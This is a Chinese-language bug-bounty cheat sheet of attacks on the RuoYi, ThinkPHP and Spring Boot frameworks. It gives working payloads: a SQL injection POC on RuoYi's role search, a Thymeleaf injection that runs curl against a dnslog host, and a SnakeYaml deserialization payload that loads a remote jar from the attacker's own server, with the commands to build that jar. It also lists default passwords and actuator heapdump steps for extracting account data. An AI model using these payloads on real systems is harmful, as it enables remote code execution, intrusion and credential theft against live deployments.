【SRC】常见框架漏洞

若依框架

页面展示

image-20240418164453446

image-20240418165031580

若依系统前后台漏洞大全

Shiro反序列化

image-20240418171909706

image-20240418171917433

SQL注入(需要登录)

漏洞点为系统管理中的角色管理的搜索功能,发现注入点参数为:params[dataScope]

image-20240418223622199

image-20240418223635277

1
2
3
4
POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime
]=&params[endTime]=&params[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

Thymeleaf模板注入(需要登录)

给payload编码一下,选URL编码:

1
${T (java.lang.Runtime).getRuntime().exec("curl xxxx.dnslog.cn")}

image-20240418224524507

登录系统,需要添加cookie访问

1
http://192.168.0.2/monitor/cache/getNames?fragment=header(%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%78%78%78%78%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29%7d%0a)

SnakeYaml 反序列化(需要登录)

image-20240418224539625

1
2
3
4
5
6
7
Poc:
org.yaml.snakeyaml.Yaml.load('
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://自己服务器/yaml-payload.jar"]
]]
]')

image-20240418230129194

image-20240418230144316

yaml-payload下载地址:https://github.com/artsploit/yaml-payload/

修改AwesomeScriptEngineFactory.java

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个AwesomeScriptEngineFactory.class文件
jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包

Swagger未授权

若依系统内置了swagger,所以会有可能有未授权访问未授权访问路径常见的有/swagger-ui.html,/prod-api/swagger-ui.html,/api/swagger-ui.html等,配合目录扫描工具效果更佳。

image-20240418230334722

druid未授权

若依系统内置了Druid,所以会有可能有未授权访问或者弱口令,未授权访问路径常见的有 /druid/,/prod-api/druid/,/api/druid/等,这是常见的,也可以直接扫一波,弱口令就是 ruoyi/123456 或者 admin/123456

image-20240418230409467

thinkphp框架

页面展示

image-20240418232104227

image-20240418231120744

image-20240418231338975

命令执行

image-20240418231548290

日志泄露

image-20240418231727119

Springboot框架

页面展示

image-20240418232115093

image-20240418232051781

Spring Boot < 1.5: 默认未授权访问所有端点。
Spring Boot >= 1.5: 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/auditevents 显示当前应用程序的审计事件信息
/beans 显示一个应用中所有Spring Beans的完整列表
/conditions 显示配置类和自动配置类(configuration and auto-configuration classes)的状态及它们被应用或未被应用的原因
/configprops 显示一个所有@ConfigurationProperties的集合列表
/env 显示来自Spring的 ConfigurableEnvironment的属性
/flyway 显示数据库迁移路径,如果有的话
/health 显示应用的健康信息
/info 显示任意的应用信息
/liquibase 展示任何Liquibase数据库迁移路径,如果有的话
/metrics 展示当前应用的metrics信息
/mappings 显示一个所有@RequestMapping路径的集合列表
/scheduledtasks 显示应用程序中的计划任务
/shutdown 允许应用以优雅的方式关闭
/threaddump 执行一个线程dump
/heapdump 返回一个GZip压缩的hprof堆dump文件
/jolokia 通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)
/logfile 返回日志文件内容
/prometheus 以可以被Prometheus服务器抓取的格式显示metrics信息

未授权

访问/actuator (没什么用)

如果网站设置了management.endpoints.web.exposure.include为*,那么我们可以在/actuator看到所有存在的断点:

image-20240418234340616

访问/actuator/version

泄露版本信息

image-20240418234332297

访问/env或者/actuator/env

获取环境属性
其中redis账户和信息泄露

image-20240418234353714

访问/actuator/metrics

获得每个度量的名称,其中主要监控了JVM内容使用、GC情况、类加载信息等

image-20240418234401752

如果想要得到每个度量的详细信息,
你需要传递度量的名称到URL中,
比如这样:
http://x.x.x.x/actuator/metrics/http.server.requests

访问/actuator/prometheus

获取一些监控指标:

image-20240418234442456

访问网站的/actuator/heapdump接口

下载返回的GZip 压缩 堆转储文件,使用通过VisualVM/Android studio 加载,通过泄露站点的内存信息,查看到后台账号信息和数据库账号

image-20240418234502588

工具下载:https://github.com/wyzxxz/heapdump_tool

推荐文章

若依:https://www.cnblogs.com/mastersir/p/16260399.html
若依:https://blog.csdn.net/qq_44029310/article/details/125296406
Spingboot:https://www.freebuf.com/vuls/289710.html
Thinkphp:https://blog.csdn.net/qq_32171761/article/details/110115207